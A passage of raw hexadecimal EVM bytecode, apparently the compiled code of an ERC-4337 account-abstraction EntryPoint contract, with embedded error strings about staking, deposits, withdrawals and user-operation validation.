f1c4fada7374c0a9ee8841fc38afe82932dc0f8e69012e927f061a8bae611a2018760200151846040516108469291906147a2565b60405180910390a35b60019250505b505b600088608001515a86030190506108a7828a8a8a8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508792506121fb915050565b9a9950505050505050505050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f60fc6b6e00000000000000000000000000000000000000000000000000000000148061094857507fffffffff0000000000000000000000000000000000000000000000000000000082167f915074d800000000000000000000000000000000000000000000000000000000145b8061099457507fffffffff0000000000000000000000000000000000000000000000000000000082167fcf28ef9700000000000000000000000000000000000000000000000000000000145b806109e057507fffffffff0000000000000000000000000000000000000000000000000000000082167f3e84f02100000000000000000000000000000000000000000000000000000000145b80610a2c57507f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b33600090815260208190526040902063ffffffff8216610aae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d757374207370656369667920756e7374616b652064656c61790000000000006044820152606401610757565b600181015463ffffffff6f0100000000000000000000000000000090910481169083161015610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f63616e6e6f7420646563726561736520756e7374616b652074696d65000000006044820152606401610757565b6001810154600090610b6190349061010090046dffffffffffffffffffffffffffff166147ea565b905060008111610bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6e6f207374616b652073706563696669656400000000000000000000000000006044820152606401610757565b6dffffffffffffffffffffffffffff811115610c45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f7374616b65206f766572666c6f770000000000000000000000000000000000006044820152606401610757565b6040805160a08101825283548152600160208083018281526dffffffffffffffffffffffffffff86811685870190815263ffffffff8a811660608801818152600060808a0181815233808352828a52918c90209a518b55965199909801805494519151965165ffffffffffff16730100000000000000000000000000000000000000027fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffffff979094166f0100000000000000000000000000000002969096167fffffffffffffff00000000000000000000ffffffffffffffffffffffffffffff91909516610100027fffffffffffffffffffffffffffffffffff0000000000000000000000000000ff991515999099167fffffffffffffffffffffffffffffffffff00000000000000000000000000000090941693909317979097179190911691909117179055835185815290810192909252917fa5ae833d0bb1dcd632d98a8b70973e8516812898e19bf27b70071ebc8dc52c01910160405180910390a2505050565b33600090815260016020908152604080832077ffffffffffffffffffffffffffffffffffffffffffffffff851684529091528120805491610e08836147fd565b919050555050565b3360009081526020819052604090208054821115610e8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f576974686472617720616d6f756e7420746f6f206c61726765000000000000006044820152606401610757565b8054610e97908390614835565b81556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810184905233917fd1c19fbcd4551a5edfb66d43d2e337c04837afda3482b42bdf569a8fccdae5fb910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168360405160006040518083038185875af1925050503d8060008114610f44576040519150601f19603f3d011682016040523d82523d6000602084013e610f49565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f6661696c656420746f20776974686472617700000000000000000000000000006044820152606401610757565b50505050565b6000610fc582612423565b6040805160208101929092523090820152466060820152608001604051602081830303815290604052805190602001209050919050565b6110376040518060c0016040528060008152602001600081526020016000815260200160008152602001600015158152602001606081525090565b61103f61243c565b611047613dfc565b6110508361247d565b60008061105f600086856125f0565b9150915060006110716000878661284f565b90506040518060c00160405280856080015181526020018281526020018481526020018381526020016000151581526020016040518060400160405280600281526020017f30780000000000000000000000000000000000000000000000000000000000008152508152509450505050506110ec6001600255565b919050565b6110f961243c565b8160008167ffffffffffffffff81111561111557611115613fa8565b60405190808252806020026020018201604052801561114e57816020015b61113b613dfc565b8152602001906001900390816111335790505b50905060005b828110156111c757600082828151811061117057611170614848565b602002602001015190506000806111ab848a8a8781811061119357611193614848565b90506020028101906111a59190614877565b856125f0565b915091506111bc8483836000612c25565b505050600101611154565b506040516000907fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f972908290a160005b83811015611251576112458188888481811061121457611214614848565b90506020028101906112269190614877565b85848151811061123857611238614848565b602002602001015161284f565b909101906001016111f6565b5061125c8482612e7a565b5050506112696001600255565b505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1684846040516112989291906148b5565b600060405180830381855af49150503d80600081146112d3576040519150601f19603f3d011682016040523d82523d6000602084013e6112d8565b606091505b509150915081816040517f994105540000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b600061133460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3684846040518363ffffffff1660e01b815260040161136e929190614929565b6020604051808303816000875af115801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b1919061493d565b6040517f6ca7b80600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152909150602401610757565b336000908152602081905260408120600181015490916f0100000000000000000000000000000090910463ffffffff169003611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600a60248201527f6e6f74207374616b6564000000000000000000000000000000000000000000006044820152606401610757565b600181015460ff16611504576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f616c726561647920756e7374616b696e670000000000000000000000000000006044820152606401610757565b600181015460009061152f906f01000000000000000000000000000000900463ffffffff164261495a565b6001830180547fffffffffffffff000000000000ffffffffffffffffffffffffffffffffffff001673010000000000000000000000000000000000000065ffffffffffff84169081027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169190911790915560405190815290915033907ffa9b3c14cc825c412c9ed81b3ba365a5b459439403f18829e572ed53a4180f0a906020015b60405180910390a25050565b336000908152602081905260409020600181015461010090046dffffffffffffffffffffffffffff168061166e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4e6f207374616b6520746f2077697468647261770000000000000000000000006044820152606401610757565b6001820154730100000000000000000000000000000000000000900465ffffffffffff166116f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f6d7573742063616c6c20756e6c6f636b5374616b6528292066697273740000006044820152606401610757565b60018201544273010000000000000000000000000000000000000090910465ffffffffffff161115611786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f5374616b65207769746864726177616c206973206e6f742064756500000000006044820152606401610757565b6001820180547fffffffffffffff000000000000000000000000000000000000000000000000ff1690556040805173ffffffffffffffffffffffffffffffffffffffff851681526020810183905233917fb7c918e0e249f999e965cafeb6c664271b3f4317d296461500e71da39f0cbda3910160405180910390a260008373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d806000811461185b576040519150601f19603f3d011682016040523d82523d6000602084013e611860565b606091505b5050905080610fb4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f6661696c656420746f207769746864726177207374616b6500000000000000006044820152606401610757565b6118d3613eae565b6118db613dfc565b6118e48361247d565b6000806118f3600086856125f0565b845160e001516040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff95861683528282528483206001908101546dffffffffffffffffffffffffffff6101008083048216885263ffffffff6f010000000000000000000000000000009384900481169095528e51518951808b018b5288815280880189815291909b1688528787528988209094015490810490911689520490911690528351808501909452818452830152939550919350903660006119c360408b018b614980565b9092509050600060148210156119da5760006119f5565b6119e86014600084866149e5565b6119f191614a0f565b60601c5b6040805180820182526000808252602080830182815273ffffffffffffffffffffffffffffffffffffffff86168352908290529290206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff169091529091509350505050600085905060006040518060a001604052808960800151815260200189604001518152602001888152602001878152602001611aa78a6060015190565b905260408051808201825260035473ffffffffffffffffffffffffffffffffffffffff908116825282518084019093526004548352600554602084810191909152820192909252919250831615801590611b18575060018373ffffffffffffffffffffffffffffffffffffffff1614155b15611b9c5760408051808201825273ffffffffffffffffffffffffffffffffffffffff851680825282518084018452600080825260208083018281529382528181529490206001015461010081046dffffffffffffffffffffffffffff1682526f01000000000000000000000000000000900463ffffffff16909152909182015290505b6040805160a081018252928352602083019590955293810192909252506060810192909252608082015295945050505050565b611bd7613dfc565b611be08561247d565b611bec600086836125f0565b5060009050606073ffffffffffffffffffffffffffffffffffffffff861615611c7f578573ffffffffffffffffffffffffffffffffffffffff168585604051611c369291906148b5565b6000604051808303816000865af19150503d8060008114611c73576040519150601f19603f3d011682016040523d82523d6000602084013e611c78565b606091505b5090925090505b81816040517fd12c41340000000000000000000000000000000000000000000000000000000081526004016107579291906148c5565b611cbd61243c565b816000805b82811015611eaf5736868683818110611cdd57611cdd614848565b9050602002810190611cef9190614a57565b9050366000611cfe8380614a8b565b90925090506000611d156040850160208601614424565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff821601611db6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4141393620696e76616c69642061676772656761746f720000000000000000006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff811615611e935773ffffffffffffffffffffffffffffffffffffffff8116632dd811338484611dfd6040890189614980565b6040518563ffffffff1660e01b8152600401611e1c9493929190614c43565b60006040518083038186803b158015611e3457600080fd5b505afa925050508015611e45575060015b611e93576040517f86a9f75000000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82166004820152602401610757565b611e9d82876147ea565b95505060019093019250611cc2915050565b5060008167ffffffffffffffff811115611ecb57611ecb613fa8565b604051908082528060200260200182016040528015611f0457816020015b611ef1613dfc565b815260200190600190039081611ee95790505b5090506000805b84811015611fe15736888883818110611f2657611f26614848565b9050602002810190611f389190614a57565b9050366000611f478380614a8b565b90925090506000611f5e6040850160208601614424565b90508160005b81811015611fcf576000898981518110611f8057611f80614848565b60200260200101519050600080611fa38b89898781811061119357611193614848565b91509150611fb384838389612c25565b8a611fbd816147fd565b9b505060019093019250611f64915050565b505060019094019350611f0b92505050565b506040517fbb47ee3e183a558b1a2ff0874b079f3fc5478b7454eacf2bfc5af2ff5878f97290600090a150600080805b8581101561211c573689898381811061202c5761202c614848565b905060200281019061203e9190614a57565b90506120506040820160208301614424565b73ffffffffffffffffffffffffffffffffffffffff167f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d60405160405180910390a236600061209f8380614a8b565b90925090508060005b8181101561210b576120ea888585848181106120c6576120c6614848565b90506020028101906120d89190614877565b8b8b8151811061123857611238614848565b6120f490886147ea565b965087612100816147fd565b9850506001016120a8565b505060019093019250612011915050565b506040516000907f575ff3acadd5ab348fe1855e217e0f3678f8d767d7494c9f9fefbee2e17cca4d908290a26121528682612e7a565b50505050506112696001600255565b600061216d8234612fc1565b90508173ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4826040516115d291815260200190565b6000806000845160208601878987f195945050505050565b60603d828111156121dd5750815b604051602082018101604052818152816000602083013e9392505050565b6000805a85519091506000908161221182613001565b60e083015190915073ffffffffffffffffffffffffffffffffffffffff811661223d5782519350612338565b80935060008851111561233857868202955060028a600281111561226357612263614cfa565b146123385760a08301516040517f7c627b2100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff831691637c627b21916122c5908e908d908c908990600401614d29565b600060405180830381600088803b1580156122df57600080fd5b5087f1935050505080156122f1575060015b6123385760006123026108006121cf565b9050806040517fad7954bc0000000000000000000000000000000000000000000000000000000081526004016107579190614d8c565b5a60a0840151606085015160808c01519288039990990198019088038082111561236b576064600a828403020498909801975b505060408901518783029650868110156123e05760028b600281111561239357612393614cfa565b036123b6578096506123a48a613033565b6123b18a6000898b61308f565b612415565b7fdeadaa510000000000000000000000000000000000000000000000000000000060005260206000fd5b8681036123ed8682612fc1565b506000808d600281111561240357612403614cfa565b1490506124128c828b8d61308f565b50505b505050505050949350505050565b600061242e82613117565b805190602001209050919050565b6002805403612477576040517f3ee5aeb500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028055565b61257d6040517fd69400000000000000000000000000000000000000000000000000000000000060208201527fffffffffffffffffffffffffffffffffffffffff0000000000000000000000003060601b1660228201527f01000000000000000000000000000000000000000000000000000000000000006036820152600090603701604080518083037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00181529190528051602090910120600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff90921691909117905550565b60006125ae61258f6040840184614980565b61259c6020860186614424565b6125a960e0870187614980565b6131dc565b905080516000146106e8576000816040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579291906147a2565b60008060005a845190915061260586826132c5565b61260e86610fba565b6020860152604081015161012082015161010083015160a08401516080850151606086015160c0870151861717171717176effffffffffffffffffffffffffffff8111156126b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f41413934206761732076616c756573206f766572666c6f7700000000000000006044820152606401610757565b60006126e78460c081015160a08201516080830151606084015160408501516101009095015194010101010290565b90506126f68a8a8a8487613410565b965061270a84600001518560200151613651565b61277957896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601a908201527f4141323520696e76616c6964206163636f756e74206e6f6e6365000000000000606082015260800190565b825a860311156127ee57896040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413236206f76657220766572696669636174696f6e4761734c696d69740000606082015260800190565b60e084015160609073ffffffffffffffffffffffffffffffffffffffff16156128225761281d8b8b8b856136ac565b975090505b604089018290528060608a015260a08a01355a870301896080018181525050505050505050935093915050565b6000805a90506000612862846060015190565b604051909150600090368261287a60608a018a614980565b915091506060600082600381111561289157843591505b507f72288ed1000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008216016129d15760008b8b602001516040516024016128f4929190614d9f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f8dd7712f000000000000000000000000000000000000000000000000000000001790525190915030906242dc53906129879084908f908d90602401614e85565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050925050612a48565b3073ffffffffffffffffffffffffffffffffffffffff166242dc5385858d8b604051602401612a039493929190614ec5565b604051602081830303815290604052915060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505091505b602060008351602085016000305af19550600051985084604052505050505080612c1b5760003d80602003612a835760206000803e60005191505b507fdeaddead000000000000000000000000000000000000000000000000000000008103612b1657876040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052600f908201527f41413935206f7574206f66206761730000000000000000000000000000000000606082015260800190565b7fdeadaa51000000000000000000000000000000000000000000000000000000008103612b8057600086608001515a612b4f9087614835565b612b5991906147ea565b6040880151909150612b6a88613033565b612b77886000838561308f565b9550612c199050565b8551805160208089015192015173ffffffffffffffffffffffffffffffffffffffff90911691907ff62676f440ff169a3a9afdbf812e89e7f95975ee8e5c31214ffdef631c5f479290612bd46108006121cf565b604051612be29291906147a2565b60405180910390a3600086608001515a612bfc9087614835565b612c0691906147ea565b9050612c1560028886846121fb565b9550505b505b5050509392505050565b600080612c3185613903565b915091508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612cd357856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413234207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8015612d4457856040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f414132322065787069726564206f72206e6f7420647565000000000000000000606082015260800190565b6000612d4f85613903565b9250905073ffffffffffffffffffffffffffffffffffffffff811615612dda57866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526014908201527f41413334207369676e6174757265206572726f72000000000000000000000000606082015260800190565b8115612e7157866040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526021908201527f41413332207061796d61737465722065787069726564206f72206e6f7420647560608201527f6500000000000000000000000000000000000000000000000000000000000000608082015260a00190565b50505050505050565b73ffffffffffffffffffffffffffffffffffffffff8216612ef7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f4141393020696e76616c69642062656e656669636961727900000000000000006044820152606401610757565b60008273ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d8060008114612f51576040519150601f19603f3d011682016040523d82523d6000602084013e612f56565b606091505b5050905080611269576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f41413931206661696c65642073656e6420746f2062656e6566696369617279006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040812080548290612ff59085906147ea565b91829055509392505050565b6101008101516101208201516000919080820361301f575092915050565b61302b82488301613956565b949350505050565b805180516020808401519281015160405190815273ffffffffffffffffffffffffffffffffffffffff90921692917f67b4fa9642f42120bf031f3051d1824b0fe25627945b27b8a6a65d5761d5482e910160405180910390a350565b835160e0810151815160208088015193015160405173ffffffffffffffffffffffffffffffffffffffff9384169492909316927f49628fd1471006c1482da88028e9ce4dbb080b815c9b0344d39e5a8e6ec1419f916131099189908990899093845291151560208401526040830152606082015260800190565b60405180910390a450505050565b60608135602083013560006131376131326040870187614980565b61396e565b9050600061314b6131326060880188614980565b9050608086013560a087013560c0880135600061316e61313260e08c018c614980565b6040805173ffffffffffffffffffffffffffffffffffffffff9a909a1660208b015289810198909852606089019690965250608087019390935260a086019190915260c085015260e08401526101008084019190915281518084039091018152610120909201905292915050565b606084158015613201575073ffffffffffffffffffffffffffffffffffffffff84163b155b15613240575060408051808201909152601981527f41413230206163636f756e74206e6f74206465706c6f7965640000000000000060208201526132bc565b601482106132ab57600061325760148285876149e5565b61326091614a0f565b60601c9050803b6000036132a957505060408051808201909152601b81527f41413330207061796d6173746572206e6f74206465706c6f796564000000000060208201526132bc565b505b506040805160208101909152600081525b95945050505050565b6132d26020830183614424565b73ffffffffffffffffffffffffffffffffffffffff168152602082810135908201526fffffffffffffffffffffffffffffffff6080808401358281166060850152811c604084015260a084013560c0808501919091528401359182166101008401521c61012082015236600061334b60e0850185614980565b909250905080156133f55760348110156133c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4141393320696e76616c6964207061796d6173746572416e64446174610000006044820152606401610757565b6133cb8282613981565b60a0860152608085015273ffffffffffffffffffffffffffffffffffffffff1660e0840152610fb4565b600060e084018190526080840181905260a084015250505050565b825180516000919061342f888761342a60408b018b614980565b6139f2565b60e0820151600073ffffffffffffffffffffffffffffffffffffffff821661348d5773ffffffffffffffffffffffffffffffffffffffff831660009081526020819052604090205487811161348657808803613489565b60005b9150505b60208801516040517f19822f7c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516916319822f7c9189916134e9918e91908790600401614efc565b60206040518083038160008887f193505050508015613543575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261354091810190614f21565b60015b61358757896135536108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190614f3a565b945073ffffffffffffffffffffffffffffffffffffffff82166136445773ffffffffffffffffffffffffffffffffffffffff8316600090815260208190526040902080548089111561363e578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526017908201527f41413231206469646e2774207061792070726566756e64000000000000000000606082015260800190565b88900390555b5050505095945050505050565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260016020908152604080832084821c808552925282208054849167ffffffffffffffff831691908561369e836147fd565b909155501495945050505050565b60606000805a855160e081015173ffffffffffffffffffffffffffffffffffffffff81166000908152602081905260409020805493945091929091908781101561375b578a6040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601e908201527f41413331207061796d6173746572206465706f73697420746f6f206c6f770000606082015260800190565b87810382600001819055506000846080015190508373ffffffffffffffffffffffffffffffffffffffff166352b7512c828d8d602001518d6040518563ffffffff1660e01b81526004016137b193929190614efc565b60006040518083038160008887f19350505050801561381057506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261380d9190810190614f87565b60015b613854578b6138206108006121cf565b6040517f65c8fd4d000000000000000000000000000000000000000000000000000000008152600401610757929190615008565b9098509650805a870311156138f4578b6040517f220266b60000000000000000000000000000000000000000000000000000000081526004016107579181526040602082018190526027908201527f41413336206f766572207061796d6173746572566572696669636174696f6e4760608201527f61734c696d697400000000000000000000000000000000000000000000000000608082015260a00190565b50505050505094509492505050565b6000808260000361391957506000928392509050565b600061392484613d7e565b9050806040015165ffffffffffff1642118061394b5750806020015165ffffffffffff1642105b905194909350915050565b60008183106139655781613967565b825b9392505050565b6000604051828085833790209392505050565b6000808061399260148286886149e5565b61399b91614a0f565b60601c6139ac6024601487896149e5565b6139b591615055565b60801c6139c660346024888a6149e5565b6139cf91615055565b9194506fffffffffffffffffffffffffffffffff16925060801c90509250925092565b8015610fb45782515173ffffffffffffffffffffffffffffffffffffffff81163b15613a8357846040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601f908201527f414131302073656e64657220616c726561647920636f6e737472756374656400606082015260800190565b6000613aa460065473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1663570e1a3686600001516040015186866040518463ffffffff1660e01b8152600401613ae7929190614929565b60206040518083038160008887f1158015613b06573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b2b919061493d565b905073ffffffffffffffffffffffffffffffffffffffff8116613bb357856040517f220266b6000000000000000000000000000000000000000000000000000000008152600401610757918152604060208201819052601b908201527f4141313320696e6974436f6465206661696c6564206f72204f4f470000000000606082015260800190565b8173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613c5057856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313420696e6974436f6465206d7573742072657475726e2073656e646572606082015260800190565b8073ffffffffffffffffffffffffffffffffffffffff163b600003613cd957856040517f220266b600000000000000000000000000000000000000000000000000000000815260040161075791815260406020808301829052908201527f4141313520696e6974436f6465206d757374206372656174652073656e646572606082015260800190565b6000613ce860148286886149e5565b613cf191614a0f565b60601c90508273ffffffffffffffffffffffffffffffffffffffff1686602001517fd51a9c61267aa6196961883ecf5ff2da6619c37dac0fa92122513fb32c032d2d83896000015160e00151604051613d6d92919073ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b60405180910390a350505050505050565b60408051606081018252600080825260208201819052918101919091528160a081901c65ffffffffffff8116600003613dba575065ffffffffffff5b6040805160608101825273ffffffffffffffffffffffffffffffffffffffff909316835260d09490941c602083015265ffffffffffff16928101929092525090565b6040518060a00160405280613e89604051806101400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b8152602001600080191681526020016000815260200160008152602001600081525090565b6040518060a00160405280613eeb6040518060a0016040528060008152602001600081526020016000815260200160008152602001606081525090565b8152602001613f0d604051806040016040528060008152602001600081525090565b8152602001613f2f604051806040016040528060008152602001600081525090565b8152602001613f51604051806040016040528060008152602001600081525090565b8152602001613f5e613f63565b905290565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001613f5e604051806040016040528060008152602001600081525090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405160a0810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b60405290565b604051610140810167ffffffffffffffff81118282101715613ffa57613ffa613fa8565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff8111828210171561406b5761406b613fa8565b604052919050565b600067ffffffffffffffff82111561408d5761408d613fa8565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b73ffffffffffffffffffffffffffffffffffffffff811681146140db57600080fd5b50565b80356110ec816140b9565b60008183036101c08112156140fd57600080fd5b614105613fd7565b91506101408082121561411757600080fd5b61411f614000565b915061412a846140de565b82526020840135602083015260408401356040830152606084013560608301526080840135608083015260a084013560a083015260c084013560c083015261417460e085016140de565b60e0830152610100848101359083015261012080850135908301529082528201356020820152610160820135604082015261018082013560608201526101a0909101356080820152919050565b60008083601f8401126141d357600080fd5b50813567ffffffffffffffff8111156141eb57600080fd5b60208301915083602082850101111561420357600080fd5b9250929050565b600080600080610200858703121561422157600080fd5b843567ffffffffffffffff8082111561423957600080fd5b818701915087601f83011261424d57600080fd5b813561426061425b82614073565b614024565b81815289602083860101111561427557600080fd5b81602085016020830137600060208383010152809750505061429a88602089016140e9565b94506101e08701359150808211156142b157600080fd5b506142be878288016141c1565b95989497509550505050565b6000602082840312156142dc57600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461396757600080fd5b60006020828403121561431e57600080fd5b813563ffffffff8116811461396757600080fd5b803577ffffffffffffffffffffffffffffffffffffffffffffffff811681146110ec57600080fd5b60006020828403121561436c57600080fd5b61396782614332565b6000806040838503121561438857600080fd5b8235614393816140b9565b91506143a160208401614332565b90509250929050565b600080604083850312156143bd57600080fd5b82356143c8816140b9565b946020939093013593505050565b600061012082840312156143e957600080fd5b50919050565b60006020828403121561440157600080fd5b813567ffffffffffffffff81111561441857600080fd5b61302b848285016143d6565b60006020828403121561443657600080fd5b8135613967816140b9565b60005b8381101561445c578181015183820152602001614444565b50506000910152565b6000815180845261447d816020860160208601614441565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60208152815160208201526020820151604082015260408201516060820152606082015160808201526080820151151560a0820152600060a083015160c08084015261302b60e0840182614465565b60008083601f84011261451057600080fd5b50813567ffffffffffffffff81111561452857600080fd5b6020830191508360208260051b850101111561420357600080fd5b60008060006040848603121561455857600080fd5b833567ffffffffffffffff81111561456f57600080fd5b61457b868287016144fe565b909450925050602084013561458f816140b9565b809150509250925092565b6000806000604084860312156145af57600080fd5b83356145ba816140b9565b9250602084013567ffffffffffffffff8111156145d657600080fd5b6145e2868287016141c1565b9497909650939450505050565b6000806020838503121561460257600080fd5b823567ffffffffffffffff81111561461957600080fd5b614625858286016141c1565b90969095509350505050565b602080825282516101408383015280516101608401529081015161018083015260408101516101a083015260608101516101c08301526080015160a06101e0830152600090614684610200840182614465565b905060208401516146a2604085018280518252602090810151910152565b506040840151805160808581019190915260209182015160a08601526060860151805160c087015282015160e0860152850151805173ffffffffffffffffffffffffffffffffffffffff1661010086015280820151805161012087015290910151610140850152509392505050565b6000806000806060858703121561472757600080fd5b843567ffffffffffffffff8082111561473f57600080fd5b61474b888389016143d6565b95506020870135915061475d826140b9565b909350604086013590808211156142b157600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b82815260406020820152600061302b6040830184614465565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b80820180821115610a2c57610a2c6147bb565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361482e5761482e6147bb565b5060010190565b81810381811115610a2c57610a2c6147bb565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600082357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18336030181126148ab57600080fd5b9190910192915050565b8183823760009101908152919050565b821515815260406020820152600061302b6040830184614465565b8183528181602085013750600060208284010152600060207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116840101905092915050565b60208152600061302b6020830184866148e0565b60006020828403121561494f57600080fd5b8151613967816140b9565b65ffffffffffff818116838216019080821115614979576149796147bb565b5092915050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126149b557600080fd5b83018035915067ffffffffffffffff8211156149d057600080fd5b60200191503681900382131561420357600080fd5b600080858511156149f557600080fd5b83861115614a0257600080fd5b5050820193919092039150565b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000008135818116916014851015614a4f5780818660140360031b1b83161692505b505092915050565b600082357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa18336030181126148ab57600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614ac057600080fd5b83018035915067ffffffffffffffff821115614adb57600080fd5b6020019150600581901b360382131561420357600080fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112614b2857600080fd5b830160208101925035905067ffffffffffffffff811115614b4857600080fd5b80360382131561420357600080fd5b6000610120614b8384614b69856140de565b73ffffffffffffffffffffffffffffffffffffffff169052565b60208301356020850152614b9a6040840184614af3565b826040870152614bad83870182846148e0565b92505050614bbe6060840184614af3565b8583036060870152614bd18382846148e0565b925050506080830135608085015260a083013560a085015260c083013560c0850152614c0060e0840184614af3565b85830360e0870152614c138382846148e0565b92505050610100614c2681850185614af3565b86840383880152614c388482846148e0565b979650505050505050565b6040808252810184905260006060600586901b830181019083018783805b89811015614ce3577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa087860301845282357ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffee18c3603018112614cc1578283fd5b614ccd868d8301614b57565b9550506020938401939290920191600101614c61565b505050508281036020840152614c388185876148e0565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600060038610614d62577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b85825260806020830152614d796080830186614465565b60408